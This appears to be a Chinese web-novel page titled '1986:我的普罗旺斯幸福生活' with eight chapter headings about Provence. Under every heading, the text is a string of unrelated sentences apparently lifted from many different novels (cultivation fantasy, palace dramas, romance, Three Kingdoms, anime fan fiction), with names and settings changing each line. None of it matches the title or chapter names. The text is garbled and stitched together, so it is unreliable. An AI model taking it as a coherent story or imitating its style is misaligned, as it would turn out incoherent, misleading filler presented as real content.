《1986:我的普罗旺斯幸福生活》 第1章 普罗旺斯 “外面风大,腿不想要了是不是?”数日的相处,他竟然越来越喜欢这个心地单纯的姑娘,抱紧药箱就把她往屋里赶。 在场众妖,有好几个都是妖王后代,其余的则是一些低级的妖族,运气好所以提前苏醒。 对方直接扛着他就跑,这无耻程度只破天际呀,要不是那三组人早就清楚对方的性格,估计就被他得逞了。 只是这样已经把纪戎吓得不轻,纪戎紧张的浑身的肌肉都紧绷了起来,胳膊上原本已经止了血的绷带再一次被染红,他上下打量着阮乔,这捏捏那蹭蹭的担心的不行。 徐虎的面色也不是很好看,他迅速的停下了狰兽,抬眼看向声源的方向。 今早,政府部门已经将修行者的存在公之于众,并且会在各省设立专门修炼的学校,有高人指导。 许成安顺着排水口一路滑了下去,直到坠入深深的臭水之间后才勉强伸展了四肢。 这里是云霄山脉的最深之处,树林葱郁,花草繁盛,本应魔兽云集,生灵万种,各种兽吼、鸟叫应该是此起彼伏,接连不断。 刀的手腕切了过去,而田川刚刚后撤的左腿一落地就返回,一步就迈到对方的身前,右手已经向对方的下巴推了过去。 “她……哼。”败军之将,老虎精也无话可说。骆波的本事手段就是比他高一截,输得心服口服。 “为何去不得?”是,百里婠就是存心的,他们虚情假意地够久了,有些事情,该拿出来摊一摊了。 “你们都还好吗?我回来了。”说完我展开着双臂,等到着她们的拥抱的,因为刚刚从她们的谈话中我知道了她们的心里面是多么的想我的,白雪说的也只不过是气话罢了。 “蓝总,过去的事就让它过去吧,我们已经没什么关系了。希望再见的时候,大家能装作不认识。”路安宁开口。 不知不觉的又过了半个月,这一对不是母子却又比母子更亲的两人有了一丝身份认同的默契,为了自己残缺不全的家庭亲情,二人的母子情谊变得越来越觉得难以割舍。 蓝向庭跪在原地一言不发,肩上的枪伤似乎又裂开了,被Alisa揍得那几拳也在身上疼得厉害,他面色苍白,抿着唇只盯着别墅。 至于为什么只有前半段?那是因为还没来得及表演后半段,莫帝就晕倒了。 她说的没错,沈婉现在确实也是担心此事,之前因为沈睿恒,就让她吃了不少的亏,可不希望以后还因为沈欣,倒霉的事情落在自己的头上。 “饿……饿……”那些生化人趴在地上,流着口水说道,手不停的往前伸,不停的往前爬,才短短一天的时间,所有的食物都已被吃光了,要实在找不到吃的东西,那么他们到时候只能吃同类或者是自己了。 至于苏清婉事件之后带来的各种影响以及没有间断,兰贵妃终究还是对旗妃下手,然而这些事情盛明珠并不愿意干涉其中,只要不波及她的底线,不牵涉她的家人自然也不会放在心上。 奈何,一来胡先生心怀不轨,二来,三天之后便是天海学院三年一度的招生的日子,错过了这一天的话,她在想光明正大的进入学院,就要等到三年以后了。 这个时间保安室的人一定是轮流作业,除了一个重要的保安人员在那里看守着,其他人都已经下班了,其他人若是想看监控,似乎是一件很困难的事情。 至于前段时间,已经知道了陆柏语的为人,怎么还可能和他滚床单? 因为宋知樱进组缘故,和容野交流的时间就短了,导演会在拍摄的时候没收他们的手机,目的是为了让他们潜心研究剧本,然后好好拍。 不过白凌对此却并不是特别担心,到时候他在船上,若是一切安稳那也就罢了。 这种认知很重要,李业想要矫正过来,因为无论在心理上还是逻辑上都有更高层次的原因:当人把人当成神之时,自由与平等,思想的解放是永远不可能的,都把别人当神了如何实现平等?这本就是不平等的宣言。 这还是玉虚祖师给周凡讲过的,神孽是由那些未孕育完全的先天神圣的残念,在经历了一系列的未知之后,所形成的一种恐怖。 冷宸泽护着何琼躲在了树后,向外看了一眼,外面明显有人上山。 吃过药体力透支的李乃赫,意识有些模糊,此刻的状态和清醒搭不上边。 门里面的男人还没等有什么反应,就被林海琼一脚给踢在了肩膀上。 苏权连忙起身扶起了苏安华,苏安华的下巴已经被打的脱臼,完全说不出话了,只是一双眼睛瞪着岳隆天,用手指着他。 第2章 难忘的晚餐 会不会突然连城指标三,变成职业级神枪手,然后分走一万枚子弹? 何奥把目光移向另一边,那是一个何奥意料之中,又稍显意外的人。 说不准经过这个世界的编剧改编以后,会迸发出更有意思的火花也说不准。 宁萌此刻已经被蓝云尘抱在怀里,而她的爪爪已经伸向了蓝云尘的那张脸了。 习惯性的摸了一把光头,发现有些黏,他这才想起昨晚没洗头,赶紧又收了手。 许闻香一愣:“恩公的意思?是去岛上见师父?”她此时心中已是隐觉楚南风与自己的师父或是认识,但听此言,便是心猜楚南风要去岛上寻找师父。 原来洛逍遥那日与高若玉作别,便北上太原,自是想潜入皇子府盗取凤梧琴。他虽初次独闯江湖,也知晓皇子府非寻常之地,府中守卫定然森严,便想先观察皇子府周边的地形,以防不测而作退路之用。 “但可能你吃糖醋牛肉,糖醋汁就刚好,可以把造价昂贵的毒药给解掉。 她洗漱完,穿着睡衣进入房间时,感受到了余煜炽热的眼神,不由地就紧张起来。 在等待电话接通的过程中,何奥也看向衣柜里的衣服。林恩衣服基本上都是一个色调,西装也基本上以灰色为主,这么做一是因为林恩比较喜欢这个色调的衣服,二是为了保持在民众眼中的形象一致性。 典韦许褚在侧一直注意着刘宇的动作,此人勇武,可不能让主公有任何闪失,见他欲动,立刻双双护在曹操身前,怒目相向。 不过,凌云现在已经晋级练气三层中期,他此刻自身所有状态都在巅峰,哪里还会害怕这些人? “当然有了,你们要去尼比市吧,刚好我下一个目的地就到那,那我们就一起上路吧!”俊夫闻言,连忙微笑的回答道。 能不激动吗,对他们来说,萧媚媚可是和他们一起经历过生死的,感情自然不一样。 正要开启真幻之瞳扫视一下,身边的柳依梦忽然嘤咛一声,睫毛颤动,竟然慢慢睁开了眼睛。 “主公、军师、这。。”太史慈推门进来看见军师随着主公在做着自己从未见过的活动,一时之间不由有些发愣。 本来,通过梁凤仪和张灵的口述,梁凤琴对凌云的印象近乎满分,现在是彻底归零了。 艾迪和达拉斯都不是没有教养的人。自然友善的点头示意后才离开了炸鸡店。 按理说,这样一个可以说是破旧的东西,流霜不该贴身放着的,但既然贴身放着,就肯定有有些名堂。 两人一起登上军舰,视察三江口这一片江域的防御情况,看看有什么可以补充的。 “嘿嘿,你不是早就看到了吗?”老者嘿嘿一笑,此刻他的神情似乎和萧渊有些相似。 云老一怔,都看看,他这里可是有上千种图样,她能看的完吗?再说了这些图样如果不是造船师傅也看不下去吧? 他见慕飞燕也一通乱挠,两人又是突然发痒,不禁开始起疑,是否被人暗算。 “不错!”王槐郑重的点了点头:“现在不要说是你们圣体仙宗了,就连诸天万界所有大势力的目光,基本都汇聚在真龙陨落秘境上。 潜龙碑上,此刻尽被一片光芒笼罩,可在场的强者还是能看到,至第三名姬承命几个字往下,二十八位天骄的名字都在蠕动,继而消失不见。没过多久,这些名字又开始从下往上重新显现。 从医院回到萧家,萧凤亭亲自将她从车里抱了出来,他步伐稳健,根本看不出受了重伤刚刚动过手术的模样。 不在是冰天雪地的景色,到处都是冰川,风雪交加,天空之上,巨大的冰凌垂落下来,地面之上寒冰所化,如同一面面镜子般。 “都怨我,以后定让月儿先吃饱饭。”姬玉痕的态度极好,桑锦月却白了他一眼,吃饱了好喂他吗? 可他也不敢大意,浑厚的真元激荡而起,斩神剑上爆发出一道惊天剑芒,展开反击。 “无知。”那玄武境见状,低声骂了一句,所谓雷电,是能够通过各种东西传导过去的。只知道用蛮力来挡,是挡不住的。 洛克转头看向哈尔斯,哈尔斯只当没看见,拿着餐盘去宴会流水席上找吃的去了,没有一点侯爵应有的架子。 湮灭之轮是一件能力惊人的世界级秘宝,但它无法剥夺洛克的一切力量。 “也许,我们应该采取对策了!”店长身旁的四方突然说了一声。 三人都是气势全开,两个搬山境中期巅峰,一个搬山境中期的中后期。 讲真这旁白,姜邪早就看它不顺眼了……如果他是老板,早开了这er货了。 现在拿那样的东西喂猪,猪也不会吃。但在当时确是货真价实的宝贝。 两人连头都没有会,仿佛其他人根本不配他们回头一样。。傲然的走进了蜀山派之中。 虽说洛克没有明确表示要接受萨诺拉斯遗族加入巫师联盟,但好歹没有把话说死,看起来还极有操作的空间。 燕云城这时也看到,一道连接海天的龙卷风,正呼啸而来,不,不是一道,在第一道龙卷风的后面,突然跟糖葫芦一般,接二连三出现了许许多多,数之不尽。 第3章 卢尔马兰村 站在入海口下面的水底,叶天刻意停下来,并仔细搜索了一阵子。 只有省级甚至国家级的实验室,才有成套的纳米研究设备,所以到目前为止,大块石墨烯薄膜和晶片,仍然是非常难以制备的材料,两个字:稀缺。 董卓缓缓点头,对他来说最近这几个月甚至一年的时间是最重要的,因为他要做的是掌控朝堂的大事,不希望被任何人任何事来打扰。因而他眼前一亮,示意李儒继续说下去。 至于第二重烈风天,就要危险很多了,到处都是狂烈如火的劲风呼啸,凶险重重。 一声轰然巨响,大地震动,漫天尘烟喧嚣中,一道数十丈宽,百丈高的巨大门户,垂天显露出来。 意识到叶天肯定还有动作要做,唯恐惹得叶天不高兴,铃木英寿就双手肃立,并闭上了嘴巴,做足了忠诚死士的派头。 太阴在十二天将中的排名,并不算高,实力远不如武田冲三的师父腾蛇。 “先布置一个“三元正气阵”,然后马上想办法离开这里。”这里的普通人太多了,如果不做一些措施,被这些尸气侵入身体,肯定会造成很大的影响。 这个位置对双方而言都较为安全,至少能给燕北很大的信任感。当然,如果他们的营寨紧靠无极城墙,将自己完全暴露在城上士卒的弓弩射程之下,燕北会更信任他们……只不过这世上没有哪个莽夫会如此带兵罢了。 在朱重八看来,亲人是非常重要的,为了他的亲人,朱重八甚至可以牺牲他自己的生命。 几乎是她刚一靠近,曲清染便轻轻翻了个身,半睁着一对水润的迷蒙杏眼,好似刚刚睡醒一般的醉人。 话落,他身子摆出了一个奇特的姿势,整体看起来如一头猛虎一般。 这副模样,加上司城目中无人的气场,就和学生丝毫沾不上边了。 梦昭君等人吓了一跳,这么高跳下去,不死也得重伤,他怎么这么想不通? 抬首望去,茫茫黄沙,似乎永无尽头一般,如果没有罗盘指引,定然会迷失在这苍茫无际的死亡之海当中。 史蒂夫带着樱桃去医院包扎回来的路上,他问着樱桃到底怎么回事? 第二天,我找到了石安,希望他可以派人帮助我一下,毕竟我自己还有我大哥的人手不够,肯定是需要石安出力的,石安也答应了。 宇宙级武器之所以那么被推崇,就是因为它可以承载并发挥出愿力的最大威力。 刀疤阔点了点头,然后让我去了二楼,来的人真的是邵阳,邵阳来的目的和我是一样的,都是告诉刀疤阔不要去,因为这是圈套。 她们的目光不由自主的就看向了其中一名宦官,想吃了他的心都有了,当时这宦官可是保证他们至少能进决赛的。 虽然一般钻石要有证的才值钱,不过吸血鬼收藏的钻石有可能没证吗?没证的钻石还不如玉石呢,李维斯可是听说过,钻石其实是被人炒起来的。 他看到其中一个朝他开火的雇佣兵,二话没说,手中的飞刀便破空而去。 周围的人看的眼都直了,这家伙哪里是来应聘的,分明就是来捣乱的吧? 于此同时,整个异人界也开始风起云涌,期待着罗天大醮正式开启。 然后他又戴上一条魔法项链、以及一个魔法手环、再加上一件魔法披风……反正要多夸张就有多夸张,这一身装备加起来没有几千块RMB怕是拿不下。 叶轻舟虽然驾驶技术一般,不过他身体和精神都已经超越普通人太多,真要比起来,就算是几十年的老司机都未必有他开得稳。 她眼泪簌簌的流,可也没有用了,终究化作荧光直至消失的无影无踪。 单单是一个发狂的金并都差点引发了三战,更别说上更加疯狂的九头蛇,九头蛇可不会考虑什么后果。 头一次,这是东亦枫头一次觉得,自己即便是空灵境的修士,在这种浩大的威慑之下也让自己完全不能反抗。 “那倒不至于,我怕他是要对你工作上的事找一些茬,让你在H市过不安宁。”沈霆琛现在想走沈青游就头痛的不行,生怕自己会殃及到白偌伊。 根本不用催动,虚空兽猛地一扇,周身浮现大片的异芒,包裹着一人一兽,瞬间就出现在千万里之外。 廖世善觉得自己身上很脏,都是狼血,想要推开余青,余青却是死活抱着他不肯放开。 姚泽也心中明白,可自己真元不畅,想施法暗助对方也无能为力,这肉 身估计真正的魔宝也伤不了分毫,更别说普通的魔械了。 夏颖儿她一边说一边与迅速冲上几句,杨思洹她时在陈锋他默默的背后开始做了一个十分普通的人,这个时候这毒气是一出一股一楼就开始在这偌大的宫殿里开始来回的搜索。 第4章 拜访 佛者再次出手,一掌压下,佛光之力更是沛然,随后,使得夏子轩顿感元神压迫之力更甚。 这坠天渊不愧有坠天之名,上方的时空都已经紊乱了,怕是只有半步古圣的大圣才可能安然的下去。 当年,柳凡横空出世,天才光芒照耀了整个大陆,除却少数人之外,谁可以以与他一战,摇光峰就是其中之一。 王光世心中虽然不情愿,但人命把柄在王怀山手上,也只好认命了。 叶白一一避过了这些袭击,还顺手抓到一些东西,都给他直接咬死吸干了精血。 夏子轩摇头,他也不了解,眼眸闪烁异光,一眼望去,好似被什么东西挡住一般,只看到漫天的烟尘。 我眼看时间已经消耗了不少,而上面的天花板虽然没有继续多下降了,但到底还是比较限制我找东西的,因为我这一次真的断定自己猜对了。 他们知道,乔华的战力绝对要在他们之上,可是那黑豹执事也是不好对付的,听乔华的话,好像是能够随意解决对方一般,如此强悍的神通手段,他们才不想要轻易的错过呢。 他因为有着腰带这个空间法宝的缘故,除了天问剑之外身上并没有带着其他东西,而且因为他本身较为潇洒,再加上他一身白衣,轻装出行,看起来就像是一幅游山玩水的样子。 这一千人没一人手中都拿着一把弓,而他们的背上,则是背着几十只箭。 徐子枫的爷爷奶奶,爸妈全都站在门口,徐子枫四人也在,他们拉着昨晚收拾好的行李,正在告别。 “你是不是脑子有问题?你觉得我会自动弃权吗?还有,你也别拿毕不了业吓唬我,因为我根本不稀罕毕业证。”徐子枫毫不客气的说道。 “OK。”骚猪乐呵呵的比了个手势,又跟陈美熙说了声拜拜,这才回学校去了。 而坚定拥护摄政王的摄政王一派的朝臣们却一扫往日被人挖苦讥讽的晦气,个个精神抖擞,当然心里满是喜气,脸上却一点都不敢带出来。 连带着把他们身后的保镖都逗的忍俊不禁,一个个都努力的憋着,不然真能哈哈大笑起来影响冷酷的形象。 之前还嚷嚷着骚猪回来之后,一定要好好的惩罚他,但是,她现在改变主意了,她忍不住在心里默默祈祷,她现在谁也不想责怪,她只想徐子枫他们能扛住压力,赢下这场比赛。 左锋朝前走了一步,站在终点线的外面,因为不能跨过终点线,不然算是犯规。 “那么,可以接受这个吗?”常青青突然间转身,然后将自己的后背露了出来。我看到她的后背延着脊椎骨的地方布着一道鳞片,十分细而软的那种,白色的,在阳光下甚至反射着淡淡的光芒。 她将药片拿出来细看了一下,然后发现果然如此,上面本来是有字迹的,竟然被抹去了,但是如果你不细看根本就看不出来。 就在奎因·索芙特展现出最后杀机的时候,凌络琦突然起身,反手一个攻击就将奎因·索芙特的死角彻底牵制住。 手肘按在桌子上,想了一会,才道:“我看你们俩都被现在这些热度,热搜什么的,迷得找不到北了。 谷惊蛰这样的天才少年,只会相信车到山前必有路,不会轻易放弃,更不会轻易折了自己。 正常人不会对自己的孩子使用迷药,那就只剩下一个可能,这个孩子也是她偷来的。 就像过去科学哲学的一些人总是谈到,数学不是经验科学,可以粗略理解为演绎学科。 这家伙把陈廷玉的受伤赖在电梯事故上,说他们上电梯的时候刚巧电梯缆绳断了,从8楼跌下来造成的。 有什么东西堵在我的喉咙,我以为我无所畏惧,我以为我毫无感情。 “喔?师弟是发现了什么嘛?”,玄慈闭着眼睛,手里不断的转动着佛珠,镇定自若。 你就趁这个机会,进一步扩大我们说唱界的影响力,毕竟我们这帮地下rapper,确实渴望这个市场很久了。 早上,刘娟做了许多以前大家没吃过的早饭,烧麦,蒸饺,葱油饼等等。 查罕杰这么说,就等于是给事情定了基调,会来事的大臣就该顺着说了。 当然,这些都是做出来给别人看的,两个势力最终还是要和解,而这一出戏要怎么展开、怎么完美结局,就要看武顺怎么统筹与导演了。 血杀城主的世界规则没有安白完善,输的并不是境界修为,而是安白的世界过于妖孽,演化的时间远超圣人入门的存在。 第5章 地主家也没有余粮啊 任何人都清楚,以天子的无上力量,有幸帮天子一个忙,那无异于手中握得了巨大的筹码,天子是不会亏待自己的。 对于的得知王均还活着,此刻兴奋不已的李子元来说,只要能将王均给抢救过来,就比什么都重要。王均这个作战参谋兼他的工兵营长,甚至在最需要的时候,可以独当一面的人才,对于李子元来说实在太重要了。 “我承认这件事是我故意为之,就是让她知难而退,自己离开王府,真的没想到事情会变成这个样子。”恋蝶哭的梨花带雨,可是易寒暄此时却没有半点怜悯之心,没有想到事情的真相居然是这样的。 艾尔重新望去,突然愣住了,因为他发现,距离那里的距离似乎比自己刚进入这一层时更远了。 “我怕情况有变,凡哥总是不按套路出牌,我过来提前安排一下。”胡国山像是做贼一样,偷偷摸摸的。 看着得意的刑天,悟空笑而不语,转身来到福慧门前的台阶上,轻轻蹲了下来。 正疑惑间,林霄已然动手,他本是暗境巅峰的剑客,内力雄浑,可灌入兵器,发出若有若无的剑芒。此等境界,绝非傅残可挡。 “轰!!”那棵树就这样倒了下去,淡淡的雾气慢慢升腾而起,冰冷的气息狠狠地钻进了蓝幽明的身体里面。在这个昆仑之巅,形成一股死地。 苍天有眼,跟着他们受了这么多罪,总算可以完美结束这一切了。 顾云康的眸子骤然一紧,垂在身侧的另一只手攥得紧紧的,又缓缓松开。 去了边关的是蒋慕渊,而能让皇太后看作宝贝的孙儿只有一个孙恪。 田老太太若让人带孩子们走,按说不可能是步行,顾家府里留着的马匹亦是好马,一个劲儿往关内赶,怎么说也入关了。 阿珂心中一凛,与邱天涯对视了一眼,眸底划过一抹警惕和惊诧,半晌才扬声道:“进来罢!”绷紧的声音,极力掩饰内心的紧张和莫名的恐惧。 姚娜的精神出现问题,所以这次不是盛大为故意将她送去疗养院治疗,也不存在盛夏或者是贺建军的恶意报复,真的就是送她去治病而已。 只是,她太想留下这个唯一和甄龙有关系的孩子了,想要到失去了理智,而此刻,理智回笼,她其实也有些惧怕,面对着靳薄言的质问,她也心酸难过,就好像要把自己不能暴露的一面暴露出来一般。 颜向暖看着靳蔚墨带着靳家司机拎着一大堆的布娃娃出现时,颜向暖都傻眼了。 “本宫之前听说,刘荣有一个堂弟,可是你?”闵云舒柔声笑问。 伸出手将手心里的一颗大青果给递了过去,水汪汪的眼睛充满了无辜。 贺建军打定主意要检验一下外人对他的观感,如果他真有那么让人难以接近的话,不利于他未来的事业发展,无端地让他失去很多良好的机会。 叶铮心中有底了,这老黑就算不是黑龙王,必然也曾经和黑龙王的关系极好!不过,他并不打算改变自己的回答。 这时的离央也看清了白色身影乃是一身着白色道袍的青年,其第一眼便给离央一种丰神俊朗之感。 酒宴后天色以晚,程、秦对那陈氏微微行礼道了声嫂子后便告辞回长安。 龙天空的职业是修真者,一个完全不属于五大系职业的职业,无论近战还是远程攻击,都很平衡。 慢步走在田间的刘老二看着忙着种田的庄户仆役这心情可不是一般的爽,本想等王兴新回来好好收拾一顿的心思也随着那初夏的微风慢慢散了。 手中“覆地”长剑挽了一个漂亮的剑花,叶铮转头朝着两人一咧嘴。 她们两个是姐妹,更是无话不谈的知心朋友,既然明媚问道了,她不想隐瞒,同样的她也不可能瞒得住明媚那双刁钻的丹凤眼,她们两个,都是无比的了解对方。 就算李渊被李二给软禁起来了,就算现在是李二当家做主。但是,就如秦桧那样的大奸臣也有三个干相好呢,何况是一手建立大唐帝国的李渊。 至于离央,此刻他身上的凶煞之气再度涌出,一双眸子冷厉如冰,手中的元良剑光焰腾腾,随着离央挥动间,一道道凛冽的剑气纵横激荡,但凡是被他剑气扫中的赤嶙鼠,身上覆盖的鳞甲纷纷碎裂。 沈予并不知道花舞英为何而来,又为何在出岫面前哭诉。但他已撞见过她两次,而这仅有的两次,花舞英都对他表示出极大的热络与客套,这令他有些不祥之感。 此刻,从卫星上来看,整个地球都被一柄柄长剑密密麻麻地包围着。 “走,过去看看!”顾言锁好院门,大步向张夫子家所在南町走去。 见沈顾的表情已从严肃转为了程度较轻的愤怒,心里已微微有些后悔起来。 而李世民只当是年轻人好面,有些开不了口,遂对上其目光,以示鼓励。 那就是场地是傅氏所有,甚至还直言,陆远晴剧组的租用合同是假的。 至于神刀门,本着就没有什么恩怨,因为各种方面显示,这个新建的逍遥仙宗的势力,似乎没有他们想象的那么简单。 只是在现在这个寒冬季节,诸如足球场、篮球场、网球场之类的户外运动项目,去玩的学生已非常少。 这也导致万大集团的产业十分的复杂,涉及到各个行业,却没有做到最好。 众人一听,都忍不住将目光看向在他们身边一直都很懂事乖巧的子枫妹妹。 回到家后,老太太气得饭都没吃,坐在房间里生闷气,谁也不理的那种。 一旁的邱老三立即附和说对对对,先到他家喝口茶压压惊,说着就过来扶着我,往他家里走去。 第6章 种植升级 林晴天嘶吼一声发了疯的跑回房间,林绵绵冷笑一声,就这!她才刚刚开始呢? 最要紧的是,现在的黑磊都瞧不上的人,白非墨是不是脑子烧坏了。 太后收起佛珠,身旁的嬷嬷赶紧扶着她起身,凤千月看起来随和,可实际上一直十分警惕的注意她的一举一动。 芝麻网出师不利,连着两个月都被逾越网的两个爆火UP主吸引了眼球,压制了他们的宣传效果。 楚清扬一挑眉,不满的语气带着淡淡的怒意开口道:“又是你!”上次又是这个笑面虎在打太极,生生的逼叶良辰出面叫叶良辰要她赔偿了两百多万给周海鸥。 南极天尊、天绝教主、霄大帝、求西来、后土娘娘全都看得瞠目结舌,无言以对。 “你大概是忘记,刚刚是谁救了你和孩子?”有一句话让她崩溃。 幽暗的大殿内,边缘地带燃起幽幽白火,天上浮现着雷云,韩荒打坐在一个神秘的池子里,旁边立着鸿蒙神枪,紫龙缠绕,被池水滋养。 只见猫头鹰丝毫不惧李嚣身边的老虎、野狼和野猪这些猛兽,拍打着翅膀来到了李嚣的面前。 陆翊双手紧紧地握着楚清扬的左手在手心磨蹭,心痛之色藏也藏不住。 “你主子可都发话了,你连你家主子的话都敢不听?”安阳威胁。 “休得胡言。这两人都是有情有义之辈,听刘备之命随我军调令,仲达那里也仰仗了他们的力量,这是不容抹灭的。你们也都是我的心腹之人,不要因此生起妒意。”他似乎在强调这一点。 这个时候,都打到家门口了,竟然还要主和,说什么楚南财大气粗,兵强马壮打不得,他们造反无非怕削藩,夺他们权而已,只要朝廷保证不削藩,有什么要求,答应他就是,他们自然会罢兵。 香多雷一拳砸到了垫子上,由于地面的颤抖而感到惊讶的庞统此刻咧开了嘴。壮硕的男子把身体牵引,一把抓住他弧形的领口。庞统眉头紧蹙,呼吸都开始紊乱,近在眼前已那种瞄准了猎物的视线把自己锁定的男人如同虎豹。 据说,当初桥本奈奈末之所以能够顺利通过乃木坂46的最终审查,除了自己本身颜值气质过硬外,还有一个因素,就是身为武藏野美术大学的学生,曾经给著名漫画家秦汉当过一段时间助手,还练就了一手不错的画技。 庞统走在前面,他沿着东面的河岸走着。他发觉原来这块地方应该是个浅滩。他让人用长枪试了一下,果然是只有半丈的浅滩。 其实老板娘早就注意到了可爱的拉布拉多,可谁让宋孤烟气呼呼还一脸冰霜,让包括老板娘在内的很多人都不太敢接近她。 虽然,现在的他,已经知道了边远航就是自己的亲生父亲——那个神秘失踪了二十多年的边金韦。 一个偶然的机会,他在P站上看到了老秦人老师的作品,顿时惊为天人,立即在论坛、微博、知乎等平台,不遗余力的推广。 “好,俊,你也吃吧!”裴诗茵有些不好意的低下了头,跟韩俊宇在一起的时候,她的感觉就是他把她给当公主了。 林枫在电话里听着唐琪断断续续说完,拿起外套、钱包和车钥匙,飞奔至楼下,挂了唐琪的电话之后,拨通了120急救电话。 柳安和袁宏过来了一趟,这些日子柳安又去忙如花的木工作坊的事了,而袁宏则在跟进着健身娱乐室的装修事宜。 袁妙竹缓缓地在白湛季身旁躺下,棉被下,两具衣衫尽褪的身体紧紧的靠在一起。 也幸好他没跟着去,否则,他娘和大姐不知还要被这一家子人欺负成什么样呢? 很巧的是,紫云门和冷月殿、烈阳宫、雷霆门、道海门、星辰宫、以及山王门共同对抗万劫魔殿最强的一路大军,而且战场是距离楚阳一行人所在位置最近的。 莫燃的上身都被鞭子缠绕起来,双臂再也动弹不得,而那带着倒钩的鞭子就那么肆无忌惮的嵌入了莫燃的血肉之中,只是那蓝白相间的道袍早已被血染,此时那红色只是更深了。 唐琪看了一眼男孩背后的桌子,不知道什么时候,男孩竟然把桌子上摆设的一朵玫瑰花给藏在了背后,虽然很老套,但她还是笑了。 靳律风回到家的时候已经凌晨三点多了,打开卧室的门,望着大床上那抹熟悉的身影轻轻勾了勾唇,怕吵醒她,将行李箱放在了门外,然后轻声进屋,来到床边俯身在心心念念的人儿额上轻轻一吻,才起身去了卫浴间。 凌雨绮有种想杀了简煜的冲动,这是生病吗?明明是生气,生气好不好? 第7章 爱凑热闹的普罗旺斯人 手中紧紧地攥着那根恶魔翅膀的项坠,浅羽咬紧了牙关,指甲无意识的深深陷进了肉里,一丝丝血红色从男孩紧握着的手中缓缓化开。 “将军且慢,我还有一言要告知将军知晓。”鹖冠子喊住了庞葱。 “弓箭?!”在看清那道寒芒是什么东西的一瞬间,柯南的声音带着一丝不可置信大吼道。 “哈哈,姐姐,你这还没真是拜堂成亲,就先喊上夫君了。看来你早就做好了当赵国国君夫人这个准备吧。”仲姬也听到了伯姬话语中的失言之处,忍不住嘲笑道。 想到这里,他更是慌不择路的尽量走直线,眼睛遥望着太子的方向。 她有着魔鬼一般的身材,酥胸高耸,前凸后翘,肤如凝霜,性感诱人,只是面若冰霜,非常冰冷。 原来,周三雄受魏士其指使前去刺杀龙静宇,因为武艺欠佳被慧智制服。在受到盘问时,为了保住秘密自己咬断舌头。 “就这么做吧。”出乎意料的是,在柯南说完这句话的时候,两个声音同时响了起来,两人略带惊讶的回头看去,正好对上灰原和步美的眼神。 简单来说,赵国的土地制度受两个条件影响,一个是周朝的井田制,第二个是爰田制。 幻洛衫,楚冰梦等人感受到一百三十八座神碑矗立在这片混沌空间中,皆是震惊无比。 沿路的“百姓”才“懒”得搭理他,继续闲聊,挤兑,指着他所乘骑的马匹,说笑逗闹,末了,更是戏耍够了,转身忙活别的事情去了。 内容:诺伊尔今天发来了私信,向我抱怨古代赫尔卡星语是如何如何的难学。我回复他说我觉得还行,但愿他别来向我请教问题。不管怎么样,总归是有一个垫背的了。 此刻,经过这么多场战斗,林莫瑶也就是彻底放下了对林毅的芥蒂,对于她来说,林毅这段时间展现出来的惊人天赋就算是一些大陆之上的天才级别的魂者也是无法比拟的。 功力被封的千叶度几人则带着各家的人马向远处退去!赵劲眼珠转了几转,也招呼着赵家的人后退。穆耀阳自然不甘落后,带着穆家的人紧紧跟在五家之后。 可是梦想总是那么美好,现实却让人无奈,人海茫茫,我却茫然不知慕容姗姗到底身在何方,即使近在咫尺,也会因为一面薄薄的帷幕而无法看到彼此。 “追!”领头的警察喊了一句,然后数辆警车就开始疯狂的朝王南北驾驶的车辆追了上去。 尖利的叫声响起,惊动了田里大片的劳作人民,大家纷纷将目光看向他们祖祖辈辈的生活的大山,今天却开始不同了。 艾玛娅双掌抓满飞镖,突然全身上下泛发出金光的光芒,急速的跃在半空之中,尽管半空之中也被绿雾缠绕。 正中幾戲和亞利的身子,被击中后一个感觉掉进了冰窟里,一个感觉被烈火灼伤了。 黄猿眼见剩余的十艘海贼船像是吃了伟哥一样速度大增,也是停下了八尺琼曲玉的释放,毕竟这种大范围招式极为耗费精神力。 我顿时向着他们标志的方向看了过去,我看见了是一个圆圈。而在圆圈的下面是鲜血一样的一个月牙。 而汝嫣则是一脸的震撼,她的思维中还在想着老头子是怎么消失的? 钟离天倒不怎么介意,反而很是喜欢这种细雨……可惜,总会有人因为这场雨而苦恼。 铜铃声正是她手中的那个拐杖上面发出来的,拐杖比佝偻的她还要高一大截,每隔一段都包着银色的两指宽圆环。 婴鬼朝着茶多鱼吼了一声,足足一百三十七只凶灵化为一百三十七次重拳,砸向茶多鱼。他已经动了真怒,并未留手,鬼王的力量直接砸过去,他甚至已经做出了自信回头的动作。 当然,以雷虎此时在天庭的身份和地位,还有实力也没资格参合这样的事情,弹压也没心思理会这些,只一门心思放在操练黄巾军上,同时分出部分精力放于治理新黄巾领的发展之上。 只是没想到,随着天庭变‘天’,加上人皇宫的好运气,还有雷虎的邀请,天皇宫也选择了暂时撤离天庭的决策。 当然,还有隐于洛杉矶的王龙,张毅的新闻也是目前为止对他来说少有好消息。 陈来福自从当了陈晋的跟班。哪里受过这种侮辱,顿时就愤怒的说我跟你拼了,然后朝着罗峰冲上去。 他骨子里是忧郁的!精神上无家可归,使他患上了节日忧郁症!这病症的特征是,心绪低沉、提不起劲、丢三落四、甚至产生幻觉。 他的脖子里,有着她在激睛时抓下的红痕,一道一道的暖昧极了。 第8章 集市 虽然她那事也很着急,可是眼前这个被她所累的丫鬟她也不能不管。 众人不禁屏住了呼吸,任谁都知道阿飞这杆枪的厉害。玩家之中不可能有人接住,但NPC呢? 在深渊中,它的名字代表死板、固执、生人勿进,它们将所有的时间都投放在了研究黑魔法以及制造骷髅中。 而这年代,又没有什么路标,行路全靠打听,很多老农完全不懂官方,那出了这个县,邻县都难听得懂的方言又过于感人,于是,李鱼“迷路”了。 最后谁取得了下任帝王之位桑红衣不在乎,她现在在乎的无非是公输弈和清荷的事。 铁扇公主听长生说得笃定,也不由信了,忍下心里的不舒服,点头答应了长生的要求。 杨千叶的卧室院落已经打造完毕,此时后边正依了她的设计,引了山泉水,建一个可以嬉玩沐浴的池子。 “你的特点……怎么说呢,一时我也想不到合适的形容词,不过要是被我们在肯斯特交手的那些‘老朋友’注意到这番操作,绝对会猜出这个计划是你想出来的。”泰兰老实的说道。 终于,在我把盘子里的栗子糕捏得差不多之际,总算是碰到了不寻常的东西。 “你个丫头,什么时候儿起,竟然学会取笑本宫了?”我嗲笑着道。 李言暗暗将这件事情记下,余光瞥视着于泽,发现于泽一脸深沉,目光诡异地看着他,不知道在想着什么,心底不由有些焦急。他的目标这次正是于泽,他若是不开口那么之前的计划可就全部都白费了。 好不容易有三个妖怪想到了自己前来解救自己,结果还被着陈凡一巴掌当做蚊子直接给拍死了。 